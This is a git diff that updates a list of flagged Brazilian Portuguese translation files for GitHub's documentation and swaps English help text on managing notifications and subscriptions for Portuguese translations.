+translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md,broken liquid tags
 translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md,parsing error
-translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md,rendering error
-translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md,rendering error
-translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md,rendering error
-translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md,rendering error
-translations/pt-BR/content/repositories/releasing-projects-on-github/about-releases.md,rendering error
-translations/pt-BR/content/repositories/releasing-projects-on-github/index.md,rendering error
-translations/pt-BR/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md,rendering error
-translations/pt-BR/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md,rendering error
-translations/pt-BR/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md,rendering error
-translations/pt-BR/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md,rendering error
-translations/pt-BR/content/repositories/working-with-files/index.md,rendering error
-translations/pt-BR/content/repositories/working-with-files/managing-files/editing-files.md,rendering error
-translations/pt-BR/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md,rendering error
-translations/pt-BR/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md,rendering error
-translations/pt-BR/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md,rendering error
-translations/pt-BR/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md,rendering error
-translations/pt-BR/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md,rendering error
-translations/pt-BR/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md,rendering error
-translations/pt-BR/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md,rendering error
-translations/pt-BR/content/repositories/working-with-files/using-files/navigating-code-on-github.md,rendering error
-translations/pt-BR/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md,rendering error
-translations/pt-BR/content/rest/guides/best-practices-for-integrators.md,rendering error
-translations/pt-BR/content/rest/guides/building-a-ci-server.md,rendering error
-translations/pt-BR/content/rest/guides/delivering-deployments.md,rendering error
-translations/pt-BR/content/rest/guides/discovering-resources-for-a-user.md,rendering error
-translations/pt-BR/content/rest/guides/getting-started-with-the-rest-api.md,rendering error
-translations/pt-BR/content/rest/guides/index.md,rendering error
-translations/pt-BR/content/rest/guides/rendering-data-as-graphs.md,rendering error
-translations/pt-BR/content/rest/guides/traversing-with-pagination.md,rendering error
-translations/pt-BR/content/rest/guides/working-with-comments.md,rendering error
-translations/pt-BR/content/rest/index.md,rendering error
-translations/pt-BR/content/rest/overview/api-previews.md,rendering error
-translations/pt-BR/content/rest/overview/libraries.md,rendering error
-translations/pt-BR/content/rest/overview/resources-in-the-rest-api.md,rendering error
-translations/pt-BR/content/rest/reference/actions.md,rendering error
-translations/pt-BR/content/rest/reference/activity.md,rendering error
-translations/pt-BR/content/rest/reference/branches.md,rendering error
-translations/pt-BR/content/rest/reference/collaborators.md,rendering error
-translations/pt-BR/content/rest/reference/commits.md,rendering error
-translations/pt-BR/content/rest/reference/deployments.md,rendering error
+translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md,broken liquid tags
+translations/pt-BR/content/rest/reference/activity.md,broken liquid tags
 translations/pt-BR/content/rest/reference/enterprise-admin.md,Listed in localization-support#489
-translations/pt-BR/content/rest/reference/enterprise-admin.md,rendering error
+translations/pt-BR/content/rest/reference/enterprise-admin.md,broken liquid tags
 translations/pt-BR/content/rest/reference/gists.md,Listed in localization-support#489
-translations/pt-BR/content/rest/reference/gists.md,rendering error
-translations/pt-BR/content/rest/reference/index.md,rendering error
-translations/pt-BR/content/rest/reference/orgs.md,rendering error
-translations/pt-BR/content/rest/reference/packages.md,rendering error
-translations/pt-BR/content/rest/reference/pages.md,rendering error
-translations/pt-BR/content/rest/reference/permissions-required-for-github-apps.md,rendering error
-translations/pt-BR/content/rest/reference/pulls.md,rendering error
-translations/pt-BR/content/rest/reference/releases.md,rendering error
 translations/pt-BR/content/rest/reference/repos.md,Listed in localization-support#489
-translations/pt-BR/content/rest/reference/repos.md,rendering error
-translations/pt-BR/content/rest/reference/repository-metrics.md,rendering error
-translations/pt-BR/content/rest/reference/search.md,rendering error
-translations/pt-BR/content/rest/reference/secret-scanning.md,rendering error
-translations/pt-BR/content/rest/reference/teams.md,rendering error
-translations/pt-BR/content/rest/reference/webhooks.md,rendering error
-translations/pt-BR/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md,rendering error
-translations/pt-BR/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md,rendering error
-translations/pt-BR/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md,rendering error
-translations/pt-BR/content/search-github/index.md,rendering error
-translations/pt-BR/content/search-github/searching-on-github/searching-commits.md,rendering error
-translations/pt-BR/content/search-github/searching-on-github/searching-discussions.md,rendering error
-translations/pt-BR/content/search-github/searching-on-github/searching-for-repositories.md,rendering error
-translations/pt-BR/content/search-github/searching-on-github/searching-issues-and-pull-requests.md,rendering error
-translations/pt-BR/content/sponsors/guides.md,rendering error
 translations/pt-BR/data/release-notes/enterprise-server/2-20/15.yml,Listed in localization-support#489
 translations/pt-BR/data/release-notes/enterprise-server/2-21/6.yml,Listed in localization-support#489
 translations/pt-BR/data/reusables/accounts/create-account.md,broken liquid tags
diff --git a/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md b/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md
index 9e22e31814..bdd5c7e8b3 100644
--- a/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md
+++ b/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing subscriptions and notifications on GitHub
-intro: 'You can specify how to receive notifications, the repositories you are interested in, and the types of activity you want to hear about.'
+title: Gerenciando assinaturas e notificações no GitHub
+intro: 'Você pode especificar como receber notificações, os repositórios nos quais você tem interesse e os tipos de atividade que você quer ouvir.'
 redirect_from:
   - /categories/76/articles
   - /categories/notifications
@@ -17,6 +17,6 @@ children:
   - /setting-up-notifications
   - /viewing-and-triaging-notifications
   - /managing-subscriptions-for-activity-on-github
-shortTitle: Subscriptions & notifications
+shortTitle: Assinaturas & notificações
 ---
 
diff --git a/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md b/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
index f989cb9be2..425ab63a78 100644
--- a/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
+++ b/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
@@ -1,6 +1,6 @@
 ---
-title: Managing your subscriptions
-intro: 'To help you manage your notifications efficiently, there are several ways to unsubscribe.'
+title: Gerenciando suas assinaturas
+intro: 'Para ajudá-lo a gerenciar suas notificações de forma eficiente, existem várias maneiras de cancelar a assinatura.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -11,66 +11,63 @@ topics:
 redirect_from:
   - /github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions
   - /github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions
-shortTitle: Manage your subscriptions
+shortTitle: Gerenciar suas assinaturas
 ---
-To help you understand your subscriptions and decide whether to unsubscribe, see "[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions)."
+
+Para ajudá-lo a entender suas assinaturas e decidir se deseja cancelar sua assinatura, consulte "[Visualizando suas assinaturas](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions)".
 
 {% note %}
 
-**Note:** Instead of unsubscribing, you have the option to ignore a repository. If you ignore a repository, you won't receive any notifications. We don't recommend ignoring repositories as you won't be notified if you're @mentioned. {% ifversion fpt or ghec %}If you're experiencing abuse and want to ignore a repository, please contact {% data variables.contact.contact_support %} so we can help. {% data reusables.policies.abuse %}{% endif %}
+**Observação:** Em vez de cancelar a assinatura, você tem a opção de ignorar um repositório. Nesse caso, você deixará de receber notificações. Não recomendamos ignorar repositórios porque você não será notificado caso seja @mencionado. {% ifversion fpt or ghec %}Se você estiver passando por abuso e deseja ignorar um repositório, entre em contato com {% data variables.contact.contact_support %} para que possamos ajudar. {% data reusables.policies.abuse %}{% endif %}
 
 {% endnote %}
 
-## Choosing how to unsubscribe
+## Escolhendo como cancelar a assinatura
 
-To unwatch (or unsubscribe from) repositories quickly, go to the "Watched repositories" page, where you can see all repositories you're watching. For more information, see "[Unwatch a repository](#unwatch-a-repository)."
+Para não inspecionar (ou cancelar a assinatura de) repositórios rapidamente, vá para a página "Repositórios assistidos", onde você pode ver todos os repositórios que você está inspecionando. Para obter mais informações, consulte "[Não inspecionar um repositório](#unwatch-a-repository)".
 
-To unsubscribe from multiple notifications at the same time, you can unsubscribe using your inbox or on the subscriptions page. Both of these options offer more context about your subscriptions than the "Watched repositories" page.
+Para cancelar a assinatura de várias notificações ao mesmo tempo, você pode cancelar a assinatura utilizando sua caixa de entrada ou a página de assinaturas. Ambas as opções oferecem mais contexto sobre suas assinaturas do que a página "Repositórios inspecionados".
 
-### Benefits of unsubscribing from your inbox
+### Benefícios de cancelamento de assinatura de sua caixa de entrada
 
-When you unsubscribe from notifications in your inbox, you have several other triaging options and can filter your notifications by custom filters and discussion types. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)."
+Ao cancelar a assinatura de notificações em sua caixa de entrada, você tem várias outras opções de triagem e pode filtrar suas notificações por filtros personalizados e tipos de discussão. Para obter mais informações, consulte "[Gerenciando notificações de sua caixa de entrada](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)".
 
-### Benefits of unsubscribing from the subscriptions page
+### Benefícios do cancelamento de assinatura na página de assinaturas
 
-When you unsubscribe from notifications on the subscriptions page, you can see more of the notifications you're subscribed to and sort them by "Most recently subscribed" or "Least recently subscribed".
+Quando você cancelar a assinatura de notificações na página de assinaturas, você pode ver mais das notificações que você assinou e classificá-las por "Assinada mais recentemente" ou "Assinada menos recentemente".
 
-The subscriptions page shows you all of the notifications that you're currently subscribed to, including notifications that you have marked as **Done** in your inbox.
+A página de assinaturas mostra todas as notificações para as quais você está atualmente inscrito, incluindo notificações que você marcou como **Concluído** em sua caixa de entrada.
 
-You can only filter your subscriptions by repository and the reason you're receiving the notification.
+Você só pode filtrar suas assinaturas por repositório e pelo motivo pelo qual está recebendo a notificação.
 
-## Unsubscribing from notifications in your inbox
+## Cancelar assinatura de notificações em sua caixa de entrada
 
-When you unsubscribe from notifications in your inbox, they will automatically disappear from your inbox.
+Ao cancelar a assinatura de notificações em sua caixa de entrada, elas desaparecerão automaticamente da sua caixa de entrada.
 
 {% data reusables.notifications.access_notifications %}
-1. From the notifications inbox, select the notifications you want to unsubscribe to.
-2. Click **Unsubscribe.**
-  ![Unsubscribe option from main inbox](/assets/images/help/notifications-v2/unsubscribe-from-main-inbox.png)
+1. Na caixa de entrada de notificações, selecione as notificações das quais você deseja cancelar sua assinatura.
+2. Clique em **Cancelar assinatura.** ![Cancele a assinatura na caixa de entrada principal](/assets/images/help/notifications-v2/unsubscribe-from-main-inbox.png)
 
-## Unsubscribing from notifications on the subscriptions page
+## Cancelar assinatura de notificações na página de assinaturas
 
 {% data reusables.notifications.access_notifications %}
-1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down to click **Subscriptions**.
-  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
+1. Na barra lateral esquerda, na lista de repositórios, use o menu suspenso "Gerenciar notificações" para clicar em **Assinaturas**. ![Gerenciar as opções do menu suspenso notificações](/assets/images/help/notifications-v2/manage-notifications-options.png)
 
-2. Select the notifications you want to unsubscribe to. In the top right, click **Unsubscribe.**
-  ![Subscriptions page](/assets/images/help/notifications-v2/unsubscribe-from-subscriptions-page.png)
+2. Selecione as notificações que você deseja cancelar a assinatura. No canto superior direito, clique em **Cancelar a assinatura**. ![Página de assinaturas](/assets/images/help/notifications-v2/unsubscribe-from-subscriptions-page.png)
 
-## Unwatch a repository
+## Deixar de inspecionar um repositório
 
-When you unwatch a repository, you unsubscribe from future updates from that repository unless you participate in a conversation or are @mentioned.
+Quando você deixa de inspecionar um repositório, você cancela sua assinatura de atualizações futuras daquele repositório, a menos que você participe de uma conversa ou seja @mencionado.
 
 {% data reusables.notifications.access_notifications %}
-1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down to click **Watched repositories**.
-  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
-2. On the watched repositories page, after you've evaluated the repositories you're watching, choose whether to:
+1. Na barra lateral esquerda, na lista de repositórios, use o menu suspenso "Gerenciar notificações" para clicar em **Inspecionar repositórios**. ![Gerenciar as opções do menu suspenso notificações](/assets/images/help/notifications-v2/manage-notifications-options.png)
+2. Na página de repositórios inspecionados, depois de ter avaliado os repositórios que você está inspecionando, escolha se deseja:
   {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-    - Unwatch a repository
-    - Ignore all notifications for a repository
-    - Customize the types of event you receive notifications for ({% data reusables.notifications-v2.custom-notification-types %}, if enabled)
+    - Deixar de inspecionar um repositório
+    - Ignorar todas as notificações de um repositório
+    - Personalize os tipos de eventos que você recebe notificações para ({% data reusables.notifications-v2.custom-notification-types %}, se habilitado)
   {% else %}
-    - Unwatch a repository
-    - Only watch releases for a repository
-    - Ignore all notifications for a repository
+    - Deixar de inspecionar um repositório
+    - Apenas inspecione versões para um repositório
+    - Ignorar todas as notificações de um repositório
   {% endif %}
diff --git a/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md b/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md
index 9d440d9c75..143da1dfee 100644
--- a/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md
+++ b/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing your subscriptions
-intro: 'To understand where your notifications are coming from and your notifications volume, we recommend reviewing your subscriptions and watched repositories regularly.'
+title: Visualizando suas assinaturas
+intro: 'Para entender de onde suas notificações estão vindo e o volume de suas notificações, recomendamos analisar suas assinaturas e repositórios inspecionados regularmente.'
 redirect_from:
   - /articles/subscribing-to-conversations
   - /articles/unsubscribing-from-conversations
@@ -23,65 +23,64 @@ versions:
   ghec: '*'
 topics:
   - Notifications
-shortTitle: View subscriptions
+shortTitle: Visualizar assinaturas
 ---
-You receive notifications for your subscriptions of ongoing activity on {% data variables.product.product_name %}. There are many reasons you can be subscribed to a conversation. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notifications-and-subscriptions)."
 
-We recommend auditing and unsubscribing from your subscriptions as a part of a healthy notifications workflow. For more information about your options for unsubscribing, see "[Managing subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)."
+Você recebe notificações para suas assinaturas de atividades contínuas em {% data variables.product.product_name %}. Há muitos motivos para você assinar uma conversa. Para obter mais informações, consulte "[Sobre notificações](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notifications-and-subscriptions)".
 
-## Diagnosing why you receive too many notifications
+Recomendamos a auditoria e o cancelamento das suas assinaturas como parte de um fluxo de trabalho de notificações saudáveis. Para obter mais informações sobre suas opções para cancelamento de assinatura, consulte "[Gerenciando assinaturas](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)."
 
-When your inbox has too many notifications to manage, consider whether you have oversubscribed or how you can change your notification settings to reduce the subscriptions you have and the types of notifications you're receiving. For example, you may consider disabling the settings to automatically watch all repositories and all team discussions whenever you've joined a team or repository.
+## Diagnosticando os motivos de receber muitas notificações
 
-![Automatic watching](/assets/images/help/notifications-v2/automatic-watching-example.png)
+Quando sua caixa de entrada tiver muitas notificações para gerenciar, considere se você se inscreveu mais de uma vez ou como você pode alterar suas configurações de notificação para reduzir as assinaturas que você tem e os tipos de notificações que está recebendo. Por exemplo, você pode considerar desabilitar as configurações para inspecionar automaticamente todos os repositórios e todas as discussões da equipe sempre que você ingressar em uma equipe ou repositório.
 
-For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#automatic-watching)."
+![Inspeção automática](/assets/images/help/notifications-v2/automatic-watching-example.png)
 
-To see an overview of your repository subscriptions, see "[Reviewing repositories that you're watching](#reviewing-repositories-that-youre-watching)." 
+Para obter mais informações, consulte “[Configurando notificações](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#automatic-watching)".
+
+Para ter uma visão geral das assinaturas de seu repositório, consulte "[Revisando repositórios que você está inspecionando](#reviewing-repositories-that-youre-watching).
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 {% tip %}
 
-**Tip:** You can select the types of event to be notified of by using the **Custom** option of the **Watch/Unwatch** dropdown list in your [watching page](https://github.com/watching) or on any repository page on {% data variables.product.product_name %}. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)."
+**Dica:** Você pode selecionar os tipos de evento a serem notificados utilizando a opção **Personalizar** na lista suspensa **Inspecionar/Cancelar inspeção** na sua [página](https://github.com/watching) ou em qualquer página de repositório em {% data variables.product.product_name %}. Para obter mais informações, consulte “[Configurando notificações](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)".
 
 {% endtip %}
 {% endif %}
 
-Many people forget about repositories that they've chosen to watch in the past. From the "Watched repositories" page you can quickly unwatch repositories. For more information on ways to unsubscribe, see "[Unwatch recommendations](https://github.blog/changelog/2020-11-10-unwatch-recommendations/)" on {% data variables.product.prodname_blog %} and "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)." You can also create a triage workflow to help with the notifications you receive. For guidance on triage workflows, see "[Customizing a workflow for triaging your notifications](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)."
+Muitas pessoas esquecem os repositórios que eles escolheram inspecionar no passado. Na página "Repositórios inspecionados" você pode rapidamente deixar de acompanhar repositórios. Para obter mais informações sobre formas de cancelamento de assinatura, consulte "[Cancelar inspeção de recomendações](https://github.blog/changelog/2020-11-10-unwatch-recommendations/)" em {% data variables.product.prodname_blog %} e "[Gerenciar suas assinaturas](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)". Também é possível criar um fluxo de trabalho de triagem para ajudar com as notificações que você recebe. Para obter orientação sobre fluxos de trabalho de triagem, consulte "[Personalizar um fluxo de trabalho para triagem das suas notificações](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)".
 
-## Reviewing all of your subscriptions
+## Revisando todas as suas assinaturas
 
 {% data reusables.notifications.access_notifications %}
-1. In the left sidebar, under the list of repositories that you have notifications from, use the "Manage notifications" drop-down to click **Subscriptions**.
-  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
+1. Na barra lateral esquerda, na lista de repositórios da qual você recebe notificações, use o menu suspenso "Gerenciar notificações" para clicar em **Assinaturas**. ![Gerenciar as opções do menu suspenso notificações](/assets/images/help/notifications-v2/manage-notifications-options.png)
 
-2. Use the filters and sort to narrow the list of subscriptions and begin unsubscribing to conversations you no longer want to receive notifications for.
+2. Use os filtros e classifique para limitar a lista de assinaturas e comece a cancelar as assinaturas de conversas das quais você não deseja mais receber notificações.
 
-  ![Subscriptions page](/assets/images/help/notifications-v2/all-subscriptions.png)
+  ![Página de assinaturas](/assets/images/help/notifications-v2/all-subscriptions.png)
 
 {% tip %}
 
-**Tips:**
-- To review subscriptions you may have forgotten about, sort by "least recently subscribed."
+**Dicas:**
+- Para revisar as assinaturas que você pode ter esquecido, classifique por "assinada menos recentemente".
 
-- To review a list of repositories that you can still receive notifications for, see the repository list in the "filter by repository" drop-down menu.
+- Para revisar uma lista de repositórios para os quais você ainda pode receber notificações, consulte a lista de repositórios no menu suspenso "filtrar por repositório".
 
 {% endtip %}
 
-## Reviewing repositories that you're watching
+## Revisando repositórios que você está inspecionando
 
-1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down menu and click **Watched repositories**.
-  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
-2. Evaluate the repositories that you are watching and decide if their updates are still relevant and helpful. When you watch a repository, you will be notified of all conversations for that repository.
+1. Na barra lateral esquerda, na lista de repositórios, use o menu suspenso "Gerenciar notificações" e clique em **Repositórios inspecionados**. ![Gerenciar as opções do menu suspenso notificações](/assets/images/help/notifications-v2/manage-notifications-options.png)
+2. Avalie os repositórios que você está inspecionando e decida se suas atualizações ainda são relevantes e úteis. Quando você inspeciona um repositório, você será notificado de todas as conversas desse repositório.
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-  ![Watched notifications page](/assets/images/help/notifications-v2/watched-notifications-custom.png)
+  ![Página de notificações inspecionadas](/assets/images/help/notifications-v2/watched-notifications-custom.png)
 {% else %}
-  ![Watched notifications page](/assets/images/help/notifications-v2/watched-notifications.png)
+  ![Página de notificações inspecionadas](/assets/images/help/notifications-v2/watched-notifications.png)
 {% endif %}
 
   {% tip %}
 
-  **Tip:** Instead of watching a repository, consider only receiving notifications {% ifversion fpt or ghes > 3.0 or ghae or ghec %}when there are updates to {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository), or any combination of these options,{% else %}for releases in a repository,{% endif %} or completely unwatching a repository.
-  
-  When you unwatch a repository, you can still be notified when you're @mentioned or participating in a thread. When you configure to receive notifications for certain event types, you're only notified when there are updates to these event types in the repository, you're participating in a thread, or you or a team you're on is @mentioned.
+  **Dica:** Em vez de inspecionar um repositório, considere apenas receber notificações {% ifversion fpt or ghes > 3.0 or ghae or ghec %}quando houver atualizações para {% data reusables.notifications-v2.custom-notification-types %} (se habilitado para o repositório), ou qualquer combinação dessas opções,{% else %}para versões em um repositório,{% endif %} ou sem inspecionar um repositório.
+
+  Quando você deixa de inspecionar um repositório, você ainda pode ser notificado quando for @mencionado ou estiver participando de um thread. Ao definir a configuração para receber notificações de certos tipos de evento, você só será notificado quando houver atualizações desses tipos de eventos no repositório, quando você estiver participando de um tópico ou quando você ou a sua equipe for @mentioned.
 
   {% endtip %}
diff --git a/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md b/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md
index 24263811ac..90af00ce99 100644
--- a/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md
+++ b/translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md
@@ -1,6 +1,6 @@
 ---
-title: About notifications
-intro: 'Notifications provide updates about the activity on {% data variables.product.product_location %} that you''ve subscribed to. You can use the notifications inbox to customize, triage, and manage your updates.'
+title: Sobre notificações
+intro: 'As notificações fornecem atualizações sobre a atividade no {% data variables.product.product_location %} que você assinou. Você pode usar a caixa de entrada de notificações para personalizar, fazer triagem e gerenciar suas atualizações.'
 redirect_from:
   - /articles/notifications
   - /articles/about-notifications
@@ -15,89 +15,90 @@ versions:
 topics:
   - Notifications
 ---
+
 {% ifversion ghes %}
 {% data reusables.mobile.ghes-release-phase %}
 {% endif %}
 
-## Notifications and subscriptions
+## Notificações e assinaturas
 
-You can choose to receive ongoing updates about specific activity on {% data variables.product.product_location %} through a subscription. Notifications are updates that you receive for specific activity that you are subscribed to.
+Você pode optar por receber atualizações em curso sobre a atividade específica no {% data variables.product.product_location %} por meio de uma assinatura. As notificações são atualizações que você recebe para atividades específicas que você assinou.
 
-### Subscription options
+### Opções de assinaturas
 
-You can choose to subscribe to notifications for:
-- A conversation in a specific issue, pull request, or gist.
-- All activity in a repository or team discussion.
-- CI activity, such as the status of workflows in repositories set up with {% data variables.product.prodname_actions %}. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-- Repository {% data reusables.notifications-v2.custom-notification-types %} (if enabled).{% else %}
-- Releases in a repository.{% endif %}
+Você pode optar por assinar notificações para:
+- Uma conversa em um problema específico, pull request ou gist.
+- Todas as atividades em um repositório ou em uma discussão em equipe.
+- Atividade CI, como o status de fluxos de trabalho nos repositórios configurados com {% data variables.product.prodname_actions %}. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
+- Repositório {% data reusables.notifications-v2.custom-notification-types %} (se habilitado).{% else %}
+- Versões em um repositório.{% endif %}
 
-You can also choose to automatically watch all repositories that you have push access to, except forks. You can watch any other repository you have access to manually by clicking **Watch**.
+Você também pode optar por assistir automaticamente todos os repositórios aos quais você tem acesso de push, exceto as bifurcações. É possível assistir qualquer outro repositório ao qual você tenha acesso manualmente clicando em **Watch** (Assistir).
 
-If you're no longer interested in a conversation, you can unsubscribe, unwatch, or customize the types of notifications you'll receive in the future. For example, if you no longer want to receive notifications from a particular repository, you can click **Unsubscribe**. For more information, see "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)."
+Se não estiver mais interessado em uma conversa, cancele a assinatura dela, deixe de acompanhar ou personalize os tipos de notificações que você receberá no futuro. Por exemplo, se você não quiser mais receber notificações de um repositório específico, você pode clicar em **Cancelar a assinatura**. Para obter mais informações, consulte "[Gerenciando suas assinaturas](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)."
 
-### Default subscriptions
+### Assinaturas padrão
 
-In general, you are automatically subscribed to conversations by default when you have:
-- Not disabled automatic watching for repositories or teams you've joined in your notification settings. This setting is enabled by default.
-- Been assigned to an issue or pull request.
-- Opened a pull request, issue, or created a team discussion post.
-- Commented on a thread.
-- Subscribed to a thread manually by clicking **Watch** or **Subscribe**.
-- Had your username @mentioned.
-- Changed the state of a thread, such as by closing an issue or merging a pull request.
-- Had a team you're a member of @mentioned.
+Em geral, você é automaticamente inscrito em conversas por padrão quando você tem:
+- Visualização automática não desabilitada de repositórios ou equipes às quais você se afiliou em suas configurações de notificação. Essa configuração é habilitada por padrão.
+- Responsabilização por um problema ou uma pull request.
+- A abertura de uma pull request, um problema ou tenha criado um post de discussão em equipe.
+- Comentários em uma thread.
+- Assinatura de uma thread feita manualmente ao clicar em **Watch** (Inspecionar) ou **Subscribe** (Assinar).
+- Seu username @mencionado.
+- Alteração do estado de uma thread, como por exemplo, fechando um problema ou mesclando uma pull request.
+- Uma @menção a uma equipe da qual você é integrante
 
-By default, you also automatically watch all repositories that you create and are owned by your user account.
+Por padrão, você também inspeciona automaticamente todos os repositórios que você cria e são pertencentes à sua conta de usuário.
 
-To unsubscribe from conversations you're automatically subscribed to, you can change your notification settings or directly unsubscribe or unwatch activity on {% data variables.product.product_location %}. For more information, see "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)."
+Para cancelar a inscrição de conversas que você se inscreveu automaticamente, você pode alterar suas configurações de notificação ou cancelar diretamente a inscrição ou desmarcar a atividade em {% data variables.product.product_location %}. Para obter mais informações, consulte "[Gerenciando suas assinaturas](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)."
 
-## Customizing notifications and subscriptions
+## Personalizando notificações e assinaturas
 
-You can choose to view your notifications through the notifications inbox at [https://github.com/notifications](https://github.com/notifications){% ifversion fpt or ghes or ghec %} and in the {% data variables.product.prodname_mobile %} app{% endif %}, through your email, or some combination of these options.
+Você pode optar por visualizar suas notificações através da caixa de entrada de notificações em [https://github.com/notifications](https://github.com/notifications){% ifversion fpt or ghes or ghec %} e no aplicativo {% data variables.product.prodname_mobile %}{% endif %}, através do seu e-mail ou de alguma combinação destas opções.
 
-To customize the types of updates you'd like to receive and where to send those updates, configure your notification settings. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)."
+Para personalizar os tipos de atualizações que você gostaria de receber e para onde enviar essas atualizações, configure suas configurações de notificação. Para obter mais informações, consulte “[Configurando notificações](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)".
 
-To keep your subscriptions manageable, review your subscriptions and watched repositories and unsubscribe as needed. For more information, see "[Managing subscriptions for activity on GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)."
+Para manter suas assinaturas gerenciáveis, revise suas assinaturas e os repositórios inspecionados e cancele sua assinatura conforme necessário. Para obter mais informações, consulte "[Gerenciando assinaturas de atividade do GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)".
 
